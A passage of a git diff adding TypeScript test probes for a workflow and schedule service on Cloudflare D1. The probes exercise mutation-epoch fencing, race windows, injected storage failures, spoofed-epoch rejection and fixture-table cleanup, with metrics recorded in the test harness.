'../src/do-runner/workflow-snapshot-row.js'; +import { createRunRouter } from '../src/host-kit/run-router.js'; +import { ScheduleMutationOutcomeUnknownError } from '../src/schedules/mutation-contract.js'; +import { createScheduleRouter } from '../src/schedules/router.js'; import { D1SchedulesStorage } from '../src/schedules/schedules-d1.js'; -import { scheduleWithCreatorRole } from '../src/schedules/target-policy.js'; +import { + createScheduleTargetPolicy, + scheduleWithCreatorRole, +} from '../src/schedules/target-policy.js'; import { D1NotificationsStorage } from '../src/signals/notifications-d1.js'; interface Env { @@ -111,6 +129,11 @@ async function approvalProbe(db: D1Database): Promise { }; } +function scheduleMutationFailure(error: unknown) { + if (!(error instanceof ScheduleMutationOutcomeUnknownError)) throw error; + return { reason: error.reason, cause: String(error.cause) }; +} + async function scheduleProbe(db: D1Database): Promise { const store = new D1SchedulesStorage(db); const resources = new D1ResourceOwnershipStore(db); @@ -166,11 +189,11 @@ async function scheduleProbe(db: D1Database): Promise { BEGIN SELECT RAISE(ABORT, 'injected owner delete failure'); END`, ) .run(); - let rollbackError = ''; + let rollbackError: ReturnType | undefined; try { await store.deleteOwnedSchedule(rollback.id); } catch (error) { - rollbackError = String(error); + rollbackError = scheduleMutationFailure(error); } const successfulDelete = schedule('schedule-delete'); @@ -195,11 +218,11 @@ async function scheduleProbe(db: D1Database): Promise { BEGIN SELECT RAISE(ABORT, 'injected owner insert failure'); END`, ) .run(); - let ownerInsertError = ''; + let ownerInsertError: ReturnType | undefined; try { await store.createOwnedSchedule(ownerFailure, owner, 10); } catch (error) { - ownerInsertError = String(error); + ownerInsertError = scheduleMutationFailure(error); } return { @@ -2052,6 +2075,1064 @@ async function eRetentionProbe( } } +const P3_PREFIX = 'p3_'; +const P3_SCHEDULES = `${P3_PREFIX}mastra_schedules`; +const P3_TRIGGERS = `${P3_PREFIX}mastra_schedule_triggers`; +const P3_SNAPSHOTS = `${P3_PREFIX}mastra_workflow_snapshot`; +const P3_ID = 'schedule-p3-existing'; +const P3_WORKFLOW = 'workflow-schedule'; +const P3_TOKEN = 'p3-local-operator'; +const P3_OWNER = { kind: 'human' as const, id: 'p3-owner' }; + +async function p3Cleanup(db: D1Database) { + const shared = [ + EXECUTION_FENCE_TABLE, + RESOURCE_OWNERSHIP_TABLE, + START_IDEMPOTENCY_TABLE, + ]; + const selected = () => + db + .prepare( + "SELECT name FROM sqlite_master WHERE type = 'table' AND (name GLOB 'p3_*' OR name IN (?, ?, ?)) ORDER BY name LIMIT 129", + ) + .bind(...shared) + .all<{ name: string }>(); + const tables = (await selected()).results; + if (tables.length > 128) throw new Error('P3 cleanup table bound exceeded'); + if (tables.length) + await db.batch( + tables.map(({ name }) => { + if (!name.startsWith(P3_PREFIX) && !shared.includes(name)) + throw new Error('P3 cleanup selected a foreign table'); + return db.prepare(`DROP TABLE "${name.replaceAll('"', '""')}"`); + }), + ); + const remaining = (await selected()).results; + if (remaining.length) throw new Error('P3 cleanup left fixture tables'); + return { remaining }; +} + +type P3Phase = 'none' | 'auth' | 'final' | 'provider'; +type P3Action = + | 'none' + | 'activate' + | 'advance' + | 'cycle' + | 'capture' + | 'resume-race'; +type P3Operation = + | 'create' + | 'update' + | 'pause' + | 'resume' + | 'delete' + | 'pause-noop' + | 'resume-noop'; + +function p3Choice( + params: URLSearchParams, + key: string, + values: readonly T[], + fallback: T, +): T { + const value = params.get(key) ?? fallback; + if (!values.includes(value as T)) throw new Error(`invalid P3 ${key}`); + return value as T; +} + +function p3Options(url: URL) { + const epoch = p3Choice( + url.searchParams, + 'epoch', + ['missing', 'stale', 'future', 'current', 'invalid'], + 'current', + ); + return { + phase: p3Choice( + url.searchParams, + 'phase', + ['none', 'auth', 'final', 'provider'], + 'none', + ), + action: p3Choice( + url.searchParams, + 'action', + ['none', 'activate', 'advance', 'cycle', 'capture', 'resume-race'], + 'none', + ), + epoch: + epoch === 'missing' + ? undefined + : epoch === 'stale' + ? 0 + : epoch === 'future' + ? 3 + : epoch === 'invalid' + ? -1 + : 2, + closed: url.searchParams.get('closed') === 'true', + }; +} + +function p3Metrics() { + return { + statements: 0, + batches: 0, + maxBatchStatements: 0, + maxSqlBytes: 0, + maxBindings: 0, + maxBoundStringBytes: 0, + maxResultBytes: 0, + rowsRead: 0, + rowsWritten: 0, + }; +} + +interface P3Statement { + native: D1PreparedStatement; + sql: string; + values: unknown[]; +} + +function p3Database( + db: D1Database, + hooks: { + beforeBatch?: (statements: P3Statement[]) => Promise; + afterBatch?: ( + statements: P3Statement[], + results: D1Result[], + ) => Promise; + afterStatement?: (sql: string, method: string) => void; + } = {}, +) { + let metrics = p3Metrics(); + const entries = new WeakMap(); + const recordStatement = ({ sql, values }: P3Statement) => { + metrics.statements++; + metrics.maxSqlBytes = Math.max( + metrics.maxSqlBytes, + encoder.encode(sql).length, + ); + metrics.maxBindings = Math.max(metrics.maxBindings, values.length); + for (const value of values) { + if (typeof value === 'string') + metrics.maxBoundStringBytes = Math.max( + metrics.maxBoundStringBytes, + encoder.encode(value).length, + ); + } + }; + const recordResult = (result: unknown) => { + const envelope = result as { + results?: unknown; + meta?: { rows_read?: number; rows_written?: number }; + } | null; + metrics.maxResultBytes = Math.max( + metrics.maxResultBytes, + encoder.encode(JSON.stringify(envelope?.results ?? result) ?? '').length, + ); + metrics.rowsRead += envelope?.meta?.rows_read ?? 0; + metrics.rowsWritten += envelope?.meta?.rows_written ?? 0; + }; + const wrap = (entry: P3Statement): D1PreparedStatement => { + const statement = new Proxy(entry.native, { + get(target, key) { + if (key === 'bind') + return (...values: unknown[]) => + wrap({ native: target.bind(...values), sql: entry.sql, values }); + const member = Reflect.get(target, key, target); + if (typeof member !== 'function') return member; + if (['first', 'all', 'run', 'raw'].includes(String(key))) + return async (...args: unknown[]) => { + recordStatement(entry); + const outcome = await Reflect.apply(member, target, args); + recordResult(outcome); + hooks.afterStatement?.(entry.sql, String(key)); + return outcome; + }; + return member.bind(target); + }, + }); + entries.set(statement, entry); + return statement; + }; + const database = new Proxy(db, { + get(target, key) { + if (key === 'prepare') + return (sql: string) => + wrap({ native: target.prepare(sql), sql, values: [] }); + if (key === 'batch') + return async (statements: D1PreparedStatement[]) => { + const selected = statements.map((statement) => { + const entry = entries.get(statement); + if (!entry) throw new Error('foreign P3 prepared statement'); + return entry; + }); + await hooks.beforeBatch?.(selected); + metrics.batches++; + metrics.maxBatchStatements = Math.max( + metrics.maxBatchStatements, + selected.length, + ); + selected.forEach(recordStatement); + const result = await target.batch( + selected.map(({ native }) => native), + ); + result.forEach(recordResult); + if (hooks.afterBatch) await hooks.afterBatch(selected, result); + return result; + }; + const member = Reflect.get(target, key, target); + return typeof member === 'function' ? member.bind(target) : member; + }, + }); + return { + database, + get metrics() { + return metrics; + }, + reset() { + const previous = metrics; + metrics = p3Metrics(); + return previous; + }, + }; +} + +function p3Deferred() { + let resolve!: () => void; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + +function p3Gate() { + const entered = p3Deferred(); + const release = p3Deferred(); + let hits = 0; + return { + entered: entered.promise, + release: release.resolve, + get hits() { + return hits; + }, + async wait() { + hits++; + if (hits !== 1) throw new Error('P3 gate entered more than once'); + entered.resolve(); + await release.promise; + }, + }; +} + +async function p3Deadline(pending: Promise, label: string): Promise { + let timer: ReturnType | undefined; + try { + return await Promise.race([ + pending, + new Promise((_, reject) => { + timer = setTimeout( + () => reject(new Error(`P3 ${label} exceeded 8000ms`)), + 8_000, + ); + }), + ]); + } finally { + clearTimeout(timer); + } +} + +async function p3Held( + gate: ReturnType, + work: () => Promise, + intervene: () => Promise, +): Promise { + const pending = work(); + const observed = pending.then( + (value) => ({ value }), + (error: unknown) => ({ error }), + ); + try { + await p3Deadline( + Promise.race([ + gate.entered, + observed.then(() => { + throw new Error('P3 request finished before the selected boundary'); + }), + ]), + 'boundary wait', + ); + await p3Deadline(intervene(), 'intervention'); + } finally { + gate.release(); + await p3Deadline(observed, 'request cleanup'); + } + const outcome = await observed; + if ('error' in outcome) throw outcome.error; + return outcome.value; +} + +async function p3Transition( + fence: ExecutionFenceStore, + next: 'open' | 'draining', + advanceMutationEpoch = false, +) { + const reading = await fence.read(); + return fence.transition({ + expected: reading.state, + next, + expectedMutationEpoch: reading.mutationEpoch, + expectedRevision: reading.transitionRevision, + ...(advanceMutationEpoch ? { advanceMutationEpoch } : {}), + }); +} + +async function p3Activate(fence: ExecutionFenceStore) { + await p3Transition(fence, 'draining', true); + await p3Transition(fence, 'open'); +} + +function p3Resolver( + db: D1Database, + epoch: number | undefined, + gate?: ReturnType, +) { + let source: ActorContext | undefined; + const resolve = createActorResolver({ + authenticate: (request) => + request.headers.get('authorization') === `Bearer ${P3_TOKEN}` + ? { id: P3_OWNER.id, role: 'operator' } + : undefined, + storeFactory: new D1ApprovalStoreFactory(db), + mutationEpoch: epoch === -1 ? undefined : epoch, + newRunId: () => 'p3-run', + buildService: () => { + throw new Error('P3 workflow does not request approval'); + }, + }); + return { + async resolve(request: Request) { + const context = await resolve(request); + if (!context) return undefined; + source = { + ...context, + ...(epoch === -1 ? { mutationEpoch: -1 } : {}), + canAccessResource: async (...args) => { + const allowed = await context.canAccessResource(...args); + if (gate && gate.hits === 0) await gate.wait(); + return allowed; + }, + }; + return source; + }, + replace() { + if (!source) throw new Error('P3 actor has not authenticated'); + Object.assign(source, { + mutationEpoch: epoch === 2 ? 3 : 2, + actor: { id: 'replacement', role: 'viewer' }, + principal: { kind: 'human', id: 'replacement', role: 'viewer' }, + resourceOwner: { kind: 'human', id: 'replacement' }, + }); + }, + }; +} + +function p3Request( + path: string, + method: string, + body?: string, + gate?: ReturnType, +) { + const headers = { + authorization: `Bearer ${P3_TOKEN}`, + 'content-type': 'application/json', + }; + if (body === undefined) + return new Request(`http://p3.test${path}`, { method, headers }); + const bytes = encoder.encode(body); + const stream = gate + ? new ReadableStream( + { + async pull(controller) { + await gate.wait(); + controller.enqueue(bytes); + controller.close(); + }, + }, + { highWaterMark: 0 }, + ) + : body; + return new Request(`http://p3.test${path}`, { + method, + headers, + body: stream, + }); +} + +async function p3Response(response: Response | null) { + if (!response) throw new Error('P3 router did not match request'); + return { status: response.status, body: await response.json() }; +} + +async function p3RawSchedules(db: D1Database) { + const [schedules, triggers, owners] = await Promise.all([ + db.prepare(`SELECT * FROM ${P3_SCHEDULES} ORDER BY id`).all(), + db.prepare(`SELECT * FROM ${P3_TRIGGERS} ORDER BY id`).all(), + db + .prepare( + `SELECT * FROM ${RESOURCE_OWNERSHIP_TABLE} ORDER BY resource_kind, resource_id`, + ) + .all(), + ]); + return { + schedules: schedules.results, + triggers: triggers.results, + owners: owners.results, + }; +} + +async function p3ScheduleProbe(db: D1Database, url: URL) { + const options = p3Options(url); + const operation = p3Choice( + url.searchParams, + 'operation', + [ + 'create', + 'update', + 'pause', + 'resume', + 'delete', + 'pause-noop', + 'resume-noop', + ], + 'create', + ); + const gate = p3Gate(); + let armed = false; + let finalBatches = 0; + const measured = p3Database(db, { + beforeBatch: async (statements) => { + if ( + !armed || + !statements.some( + ({ sql }) => + sql.includes(P3_SCHEDULES) && sql.includes(EXECUTION_FENCE_TABLE), + ) + ) + return; + finalBatches++; + if (options.phase === 'final' && gate.hits === 0) await gate.wait(); + }, + }); + const administration = p3Database(db); + const evidence = p3Database(db); + const fence = new ExecutionFenceStore(measured.database); + const adminFence = new ExecutionFenceStore(administration.database); + const store = new D1SchedulesStorage(measured.database, P3_PREFIX); + const adminStore = new D1SchedulesStorage(administration.database, P3_PREFIX); + await fence.seed('open'); + await store.createOwnedSchedule( + { + ...schedule(P3_ID), + status: + operation === 'resume' || operation === 'pause-noop' + ? 'paused' + : 'active', + }, + P3_OWNER, + 10, + ); + await db + .prepare(`UPDATE ${P3_SCHEDULES} SET metadata = ?, target = ? WHERE id = ?`) + .bind( + '{ "seed": "original" }', + '{ "type": "workflow", "workflowId": "workflow-schedule", "inputData": {} }', + P3_ID, + ) + .run(); + const deferred = url.searchParams.get('deferred') === 'true'; + const triggerCount = url.searchParams.get('history') === 'true' ? 120 : 2; + for (let index = 0; index < triggerCount; index++) { + await store.recordTrigger({ + id: `p3-trigger-${String(index).padStart(3, '0')}`, + scheduleId: P3_ID, + runId: `p3-prior-${index}`, + scheduledFireAt: NOW, + actualFireAt: NOW, + outcome: deferred && index === 0 ? 'deferred' : 'published', + metadata: { original: true }, + }); + } + if (options.action !== 'activate') { + await p3Activate(adminFence); + await p3Activate(adminFence); + } + if (options.closed) await p3Transition(adminFence, 'draining'); + const resolver = p3Resolver( + measured.database, + options.epoch, + options.phase === 'auth' && operation !== 'create' && operation !== 'update' + ? gate + : undefined, + ); + const audit: unknown[] = []; + const router = createScheduleRouter({ + resolve: resolver.resolve, + store, + executionFence: fence, + targetPolicy: createScheduleTargetPolicy({ + workflows: [{ id: P3_WORKFLOW }], + agents: [], + }), + validateThreadTarget: async () => { + throw new Error('P3 workflow target cannot require a thread'); + }, + maxSchedules: url.searchParams.get('cap') === 'true' ? 1 : 10, + audit: (event) => { + audit.push(event); + }, + }); + const method = + operation === 'update' + ? 'PATCH' + : operation === 'delete' + ? 'DELETE' + : 'POST'; + const path = + operation === 'create' + ? '/api/schedules' + : operation === 'update' || operation === 'delete' + ? `/api/schedules/${P3_ID}` + : `/api/schedules/${P3_ID}/${operation.startsWith('pause') ? 'pause' : 'resume'}`; + const body: Record = + operation === 'create' + ? { + workflowId: P3_WORKFLOW, + cron: '* * * * *', + metadata: { edited: true }, + } + : { metadata: { edited: true } }; + if (url.searchParams.get('patchPaused') === 'true') { + delete body.metadata; + body.status = 'paused'; + } + const injected = url.searchParams.get('injection'); + if (injected === 'body') body.mutationEpoch = 2; + if (injected === 'stored') + body.requestContext = { mutationEpoch: 2, 'flowsafe.mutationEpoch': 2 }; + const bytes = url.searchParams.get('bytes'); + if (bytes === '16384' || bytes === '16385') { + body.metadata = { unicode: 'é', pad: '' }; + const metadata = body.metadata as { unicode: string; pad: string }; + metadata.pad = 'x'.repeat( + Number(bytes) - encoder.encode(JSON.stringify(body)).length, + ); + } + const rawBody = + operation === 'create' || operation === 'update' + ? JSON.stringify(body) + : undefined; + const request = p3Request( + path, + method, + rawBody, + options.phase === 'auth' && + (operation === 'create' || operation === 'update') + ? gate + : undefined, + ); + if (injected === 'header') request.headers.set(MUTATION_EPOCH_HEADER, '2'); + const before = await p3RawSchedules(evidence.database); + const setupMetrics = measured.reset(); + let intervened = before; + let fenceBeforeRelease = await adminFence.read(); + armed = true; + const intervene = async () => { + if (options.action === 'activate' || options.action === 'advance') + await p3Activate(adminFence); + if (options.action === 'cycle') { + await p3Transition(adminFence, 'draining'); + await p3Transition(adminFence, 'open'); + } + if (options.action === 'capture') resolver.replace(); + if (options.action === 'resume-race') + await adminStore.updateSchedule( + P3_ID, + { cron: '*/5 * * * *', timezone: 'UTC' }, + { mutationEpoch: 2 }, + ); + fenceBeforeRelease = await adminFence.read(); + intervened = await p3RawSchedules(evidence.database); + }; + const call = () => router(request); + const response = await p3Response( + options.phase === 'none' + ? await call() + : await p3Held(gate, call, intervene), + ); + armed = false; + const mutationMetrics = measured.reset(); + const after = await p3RawSchedules(evidence.database); + const reads = options.closed + ? { + list: await p3Response( + await router(p3Request('/api/schedules', 'GET')), + ), + get: await p3Response( + await router(p3Request(`/api/schedules/${P3_ID}`, 'GET')), + ), + history: await p3Response( + await router(p3Request(`/api/schedules/${P3_ID}/triggers`, 'GET')), + ), + } + : undefined; + const readMetrics = measured.reset(); + let positive: Awaited> | undefined; + let positiveState: Awaited> | undefined; + if (options.action === 'resume-race') { + positive = await p3Response( + await router(p3Request(`/api/schedules/${P3_ID}/resume`, 'POST')), + ); + positiveState = await p3RawSchedules(evidence.database); + } + let settled: Awaited> | undefined; + if (deferred && response.status === 202) { + if ((await adminFence.read()).state === 'draining') + await p3Transition(adminFence, 'open'); + await p3Activate(adminFence); + await p3Transition(adminFence, 'draining'); + await store.recordTrigger({ + id: 'p3-trigger-000', + scheduleId: P3_ID, + runId: 'p3-prior-0', + scheduledFireAt: NOW, + actualFireAt: NOW + 1, + outcome: 'published', + }); + settled = await p3RawSchedules(evidence.database); + } + return { + operation, + quiescent: true, + response, + gateHits: gate.hits, + finalBatches, + before, + intervened, + after, + reads, + positive, + positiveState, + settled, + audit, + fenceBeforeRelease, + fenceAfter: await adminFence.read(), + bodyBytes: rawBody === undefined ? 0 : encoder.encode(rawBody).length, + metrics: { + setup: setupMetrics, + mutation: mutationMetrics, + reads: readMetrics, + settlement: measured.metrics, + administration: administration.metrics, + evidence: evidence.metrics, + }, + }; +} + +async function p3RawRuns(db: D1Database) { + const [snapshots, keys, owners] = await Promise.all([ + db + .prepare(`SELECT * FROM ${P3_SNAPSHOTS} ORDER BY workflow_name, run_id`) + .all(), + db.prepare(`SELECT * FROM ${START_IDEMPOTENCY_TABLE} ORDER BY key`).all(), + db + .prepare( + `SELECT * FROM ${RESOURCE_OWNERSHIP_TABLE} ORDER BY resource_kind, resource_id`, + ) + .all(), + ]); + return { + snapshots: snapshots.results, + keys: keys.results, + owners: owners.results, + }; +} + +async function p3RawFence(db: D1Database) { + const [rows, schema] = await Promise.all([ + db.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE} ORDER BY id`).all(), + db.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(), + ]); + return { rows: rows.results, schema: schema.results }; +} + +async function p3RunProbe(db: D1Database, url: URL) { + const options = p3Options(url); + const structural = url.searchParams.has('structure'); + const structure = p3Choice( + url.searchParams, + 'structure', + ['none', 'schema-extension', 'null-singleton'], + 'none', + ); + const proof = url.searchParams.get('proof') === 'true'; + const loseResponse = url.searchParams.get('loss') === 'true'; + const advanceAfterAdmission = + url.searchParams.get('afterAdmission') === 'advance'; + if (structural && options.phase !== 'final') + throw new Error( + 'P3 structural fixture requires the final Runtime boundary', + ); + const gate = p3Gate(); + let armed = false; + let initialBatches = 0; + let responseLosses = 0; + let initialBatchRows: number[] | undefined; + const isInitialBatch = (statements: P3Statement[]) => + statements.some( + ({ sql }) => + sql.includes(`INSERT INTO "${P3_SNAPSHOTS}"`) && + sql.includes(EXECUTION_FENCE_TABLE), + ); + const measured = p3Database(db, { + beforeBatch: async (statements) => { + if (!armed || !isInitialBatch(statements)) return; + initialBatches++; + if (options.phase === 'final' && gate.hits === 0) await gate.wait(); + }, + afterBatch: structural + ? async (statements, results) => { + if (!armed || !isInitialBatch(statements)) return; + initialBatchRows = results.map((result) => result.results.length); + if (advanceAfterAdmission) { + if ((await adminFence.read()).state !== 'open') + await p3Transition(adminFence, 'open'); + await p3Activate(adminFence); + } + if (loseResponse && responseLosses === 0) { + responseLosses++; + throw new Error('P3 initial admission response was lost'); + } + } + : undefined, + }); + const administration = p3Database(db); + const evidence = p3Database(db); + const fence = new ExecutionFenceStore(measured.database); + const adminFence = new ExecutionFenceStore(administration.database); + await fence.seed('open'); + const storage = createD1Storage({ + binding: measured.database, + tablePrefix: P3_PREFIX, + }); + await storage.init(); + const reservations = new StartIdempotencyStore(measured.database); + await reservations.reserve({ + key: 'p3-unrelated-key', + owner: P3_OWNER, + targetKind: 'workflow', + targetId: P3_WORKFLOW, + mintRunId: () => 'p3-unrelated', + }); + await new D1ResourceOwnershipStore(measured.database).claim( + 'run', + 'p3-unrelated', + P3_OWNER, + ); + let effects = 0; + const app = init( + { storage }, + { + executionFence: fence, + startIdempotency: reservations, + requestContextForRun: async () => { + if (armed && options.phase === 'provider' && gate.hits === 0) + await gate.wait(); + return {}; + }, + }, + ); + const schema = z.object({ value: z.string() }); + const workflow = app + .createWorkflow({ + id: P3_WORKFLOW, + inputSchema: schema, + outputSchema: schema, + }) + .then( + app.createStep({ + id: 'p3-count', + inputSchema: schema, + outputSchema: schema, + execute: async ({ inputData }) => { + effects++; + return inputData; + }, + }), + ) + .commit(); + await app.runtime.status(P3_WORKFLOW, 'initialize'); + if (options.action !== 'activate') { + await p3Activate(adminFence); + await p3Activate(adminFence); + } + if (options.closed) await p3Transition(adminFence, 'draining'); + const keyed = url.searchParams.get('keyed') === 'true' || proof; + if (proof) { + const reading = await adminFence.read(); + await adminFence.transition({ + expected: reading.state, + next: 'proof-only', + proofKey: 'p3-key', + expectedMutationEpoch: reading.mutationEpoch, + expectedRevision: reading.transitionRevision, + }); + } + const resolver = p3Resolver(measured.database, options.epoch); + let runtimeOptions: StartRunOptions | undefined; + let capturedEpoch: number | undefined; + const router = createRunRouter({ + resolve: resolver.resolve, + workflows: [ + { + id: P3_WORKFLOW, + title: 'P3 counted workflow', + description: 'Local epoch acceptance', + sampleInput: { value: 'original' }, + }, + ], + startIdempotency: { + store: reservations, + executionFence: fence, + live: async (workflowId, runId) => + app.runtime.isRunActive(workflowId, runId), + persistedStart: async (workflowId, runId) => { + const state = await app.runtime.authoritativeStartState( + workflowId, + runId, + ); + if (!state) return undefined; + const identity = state.provenance.startIdentity; + if (!identity) + throw new Error('P3 stored start lacks its original identity'); + const execution = { ...state.execution, ...identity }; + return state.kind === 'initial' + ? { kind: 'initial', execution } + : { kind: 'result', execution, value: state.summary }; + }, + }, + beforeStart: async () => { + if (options.phase === 'auth') await gate.wait(); + }, + start: (input) => { + if (input.workflowId !== workflow.id || input.runId !== 'p3-run') + throw new Error('P3 Runtime start tuple changed'); + capturedEpoch = input.mutationEpoch; + runtimeOptions = { + runId: input.runId, + inputData: input.inputData, + requestedBy: input.principal.id, + requestedByKind: input.principal.kind, + mutationEpoch: input.mutationEpoch, + startReservation: input.startReservation, + idempotencyKey: input.idempotencyKey, + }; + return app.runtime.start(input.workflowId, runtimeOptions); + }, + status: async (workflowId, runId) => + (await app.runtime.status(workflowId, runId)) ?? undefined, + resume: async () => { + throw new Error('P3 counted workflow cannot suspend'); + }, + }); + const before = await p3RawRuns(evidence.database); + const fenceStructureBefore = structural + ? await p3RawFence(evidence.database) + : undefined; + const setupMetrics = measured.reset(); + let fenceBeforeRelease = await adminFence.read(); + let intervened = before; + let fenceStructureIntervened = fenceStructureBefore; + armed = true; + const intervene = async () => { + if (options.action === 'activate' || options.action === 'advance') + await p3Activate(adminFence); + if (options.action === 'cycle') { + await p3Transition(adminFence, 'draining'); + await p3Transition(adminFence, 'open'); + } + if (options.action === 'capture') { + resolver.replace(); + if (runtimeOptions) + Object.assign(runtimeOptions, { + mutationEpoch: 3, + requestedBy: 'replacement', + inputData: { value: 'replacement' }, + }); + } + fenceBeforeRelease = await adminFence.read(); + if (structure === 'schema-extension') { + await administration.database + .prepare( + `ALTER TABLE ${EXECUTION_FENCE_TABLE} ADD COLUMN p3_shape TEXT`, + ) + .run(); + } + if (structure === 'null-singleton') { + await administration.database + .prepare( + `INSERT INTO ${EXECUTION_FENCE_TABLE} (id, state, updated_at) VALUES (NULL, 'open', 0)`, + ) + .run(); + } + if (structural) + fenceStructureIntervened = await p3RawFence(evidence.database); + intervened = await p3RawRuns(evidence.database); + }; + const body = { + workflowId: P3_WORKFLOW, + inputData: { value: 'original' }, + ...(keyed ? { idempotencyKey: 'p3-key' } : {}), + }; + const call = () => router(p3Request('/runs', 'POST', JSON.stringify(body))); + const response = await p3Response( + options.phase === 'none' + ? await call() + : await p3Held(gate, call, intervene), + ); + armed = false; + const mutationMetrics = measured.reset(); + const after = await p3RawRuns(evidence.database); + const effectsAfterRequest = effects; + const cachedAfterRequest = workflow.runs.has('p3-run'); + const activeAfterRequest = app.runtime.isRunActive(P3_WORKFLOW, 'p3-run'); + let positive: unknown; + if (response.status === 409 && !keyed && !structural) { + const current = await adminFence.read(); + positive = await app.runtime.start(P3_WORKFLOW, { + runId: 'p3-run', + inputData: { value: 'positive' }, + requestedBy: P3_OWNER.id, + requestedByKind: 'human', + mutationEpoch: current.mutationEpoch, + }); + } + const positiveRows = await p3RawRuns(evidence.database); + const fenceStructureAfter = structural + ? await p3RawFence(evidence.database) + : undefined; + const finalFence = structure === 'none' ? await adminFence.read() : undefined; + const checkedRun = { + workflowId: workflow.id, + runId: runtimeOptions?.runId ?? 'p3-run', + }; + if (checkedRun.workflowId !== P3_WORKFLOW || checkedRun.runId !== 'p3-run') + throw new Error('P3 Runtime quiescence tuple changed'); + if (app.runtime.isRunActive(checkedRun.workflowId, checkedRun.runId)) + throw new Error('P3 Runtime remains active after its response'); + return { + quiescent: true, + checkedRun, + response, + capturedEpoch: capturedEpoch ?? null, + gateHits: gate.hits, + initialBatches, + ...(structural + ? { + structural: { + fixture: structure, + proof, + responseLosses, + initialBatchRows, + before: fenceStructureBefore, + intervened: fenceStructureIntervened, + after: fenceStructureAfter, + }, + } + : {}), + before, + intervened, + after, + effectsAfterRequest, + effects, + cachedAfterRequest, + activeAfterRequest, + positive, + positiveRows, + fenceBeforeRelease, + fenceAfter: finalFence, + metrics: { + setup: setupMetrics, + mutation: mutationMetrics, + positive: measured.metrics, + administration: administration.metrics, + evidence: evidence.metrics, + }, + }; +} + +async function p3CasLossProbe(db: D1Database) { + let armed = false; + let losses = 0; + const measured = p3Database(db, { + afterStatement: (sql) => { + if ( + armed && + losses === 0 && + sql.trimStart().startsWith(`UPDATE ${EXECUTION_FENCE_TABLE}\n`) + ) { + losses++; + throw new Error('P3 lost committed CAS response'); + } + }, + }); + const fence = new ExecutionFenceStore(measured.database); + const independent = new ExecutionFenceStore(db); + await fence.seed('open'); + const before = await fence.read(); + const request = { + expected: 'open' as const, + next: 'draining' as const, + expectedMutationEpoch: before.mutationEpoch, + expectedRevision: before.transitionRevision, + advanceMutationEpoch: true, + }; + armed = true; + let firstError: string | undefined; + try { + await fence.transition(request); + } catch (error) { + firstError = String(error); + } + const afterCommit = await independent.read(); + const rawAfterCommit = ( + await db.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all() + ).results; + const retry = await fence.transition(request); + const rawAfterRetry = ( + await db.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all() + ).results; + let conflict: unknown; + try { + await fence.transition({ ...request, advanceMutationEpoch: false }); + } catch (error) { + conflict = (error as { reason?: unknown }).reason; + } + return { + quiescent: true, + losses, + firstError, + before, + afterCommit, + retry, + rawAfterCommit, + rawAfterRetry, + conflict, + metrics: measured.metrics, + }; +} + const handler = { async fetch(request: Request, env: Env): Promise { try { @@ -2063,6 +3144,17 @@ const handler = { await seedDeploymentIdentity(env.DB, 'spike', 'open'); return Response.json({ ok: true }); } + if (path === '/p3-cleanup') return Response.json(await p3Cleanup(env.DB)); + if (path === '/epoch-p3/isolation-missing-witness') + return Response.json({ metrics: { diagnostic: p3Metrics() } }); + if (path === '/epoch-p3/schedule') + return Response.json( + await p3ScheduleProbe(env.DB, new URL(request.url)), + ); + if (path === '/epoch-p3/run') + return Response.json(await p3RunProbe(env.DB, new URL(request.url))); + if (path === '/epoch-p3/cas-loss') + return Response.json(await p3CasLossProbe(env.DB)); if (path.startsWith('/retention-e/')) { const [, , scenario, action] = path.split('/'); return Response.json( diff --git a/scripts/flowsafe-harness.test.ts b/scripts/flowsafe-harness.test.ts index 1eb3bec3..0178f3f1 100644 --- a/scripts/flowsafe-harness.test.ts +++ b/scripts/flowsafe-harness.test.ts @@ -85,10 +85,23 @@ function harnessOptions() { } async function result(worker: WorkerHandle, path: string): Promise { + const p3 = path.startsWith('/epoch-p3/'); + if (p3) p3Isolation.reusable = false; const response = await worker.fetch(path, { method: 'POST' }); const body = await response.text(); expect(response.status, body).toBe(200); - return JSON.parse(body) as T; + const parsed = JSON.parse(body); + if (p3) { + expect(parsed.quiescent, path).toBe(true); + if (path.startsWith('/epoch-p3/run')) + expect(parsed.checkedRun).toEqual({ + workflowId: 'workflow-schedule', + runId: 'p3-run', + }); + recordP3Measurements(path, parsed.metrics); + p3Isolation.reusable = true; + } + return parsed as T; } interface RetentionCursor { @@ -140,6 +153,245 @@ const RETENTION_SCOPE = { startIdempotencyTable: 'e_retention_start_requests', }; +interface P3Response { + status: number; + body: { + reason?: { code: string; classification?: string; mutationEpoch?: number }; + schedule?: { id: string; status: string }; + result?: { value: string }; + }; +} + +interface P3Metrics { + statements: number; + batches: number; + maxBatchStatements: number; + maxSqlBytes: number; + maxBindings: number; + maxBoundStringBytes: number; + maxResultBytes: number; + rowsRead: number; + rowsWritten: number; +} + +const p3Measurements = new Map< + string, + { + samples: number; + minStatements: number; + maxStatementScenario: string; + maxima: P3Metrics; + } +>(); + +const p3Isolation = { entered: false, reusable: false, resets: 0, cleanups: 0 }; + +function recordP3Measurements( + path: string, + value: P3Metrics | Record, +) { + const stages = + typeof value.statements === 'number' + ? { cas: value as P3Metrics } + : (value as Record); + for (const [stage, metrics] of Object.entries(stages)) { + const previous = p3Measurements.get(stage); + if (!previous) { + p3Measurements.set(stage, { + samples: 1, + minStatements: metrics.statements, + maxStatementScenario: path, + maxima: { ...metrics }, + }); + continue; + } + previous.samples++; + previous.minStatements = Math.min( + previous.minStatements, + metrics.statements, + ); + if (metrics.statements > previous.maxima.statements) + previous.maxStatementScenario = path; + for (const key of Object.keys(metrics) as Array) + previous.maxima[key] = Math.max(previous.maxima[key], metrics[key]); + } +} + +interface P3Fence { + state: string; + mutationEpoch: number; + requireMutationEpoch: boolean; + transitionRevision: number; +} + +interface P3ScheduleState { + schedules: Array>; + triggers: Array>; + owners: Array>; +} + +interface P3ScheduleResult { + operation: string; + response: P3Response; + gateHits: number; + finalBatches: number; + before: P3ScheduleState; + intervened: P3ScheduleState; + after: P3ScheduleState; + reads?: { list: P3Response; get: P3Response; history: P3Response }; + positive?: P3Response; + positiveState?: P3ScheduleState; + settled?: P3ScheduleState; + audit: Array<{ actorId: string; operation: string; outcome: string }>; + fenceBeforeRelease: P3Fence; + fenceAfter: P3Fence; + bodyBytes: number; + metrics: Record; +} + +interface 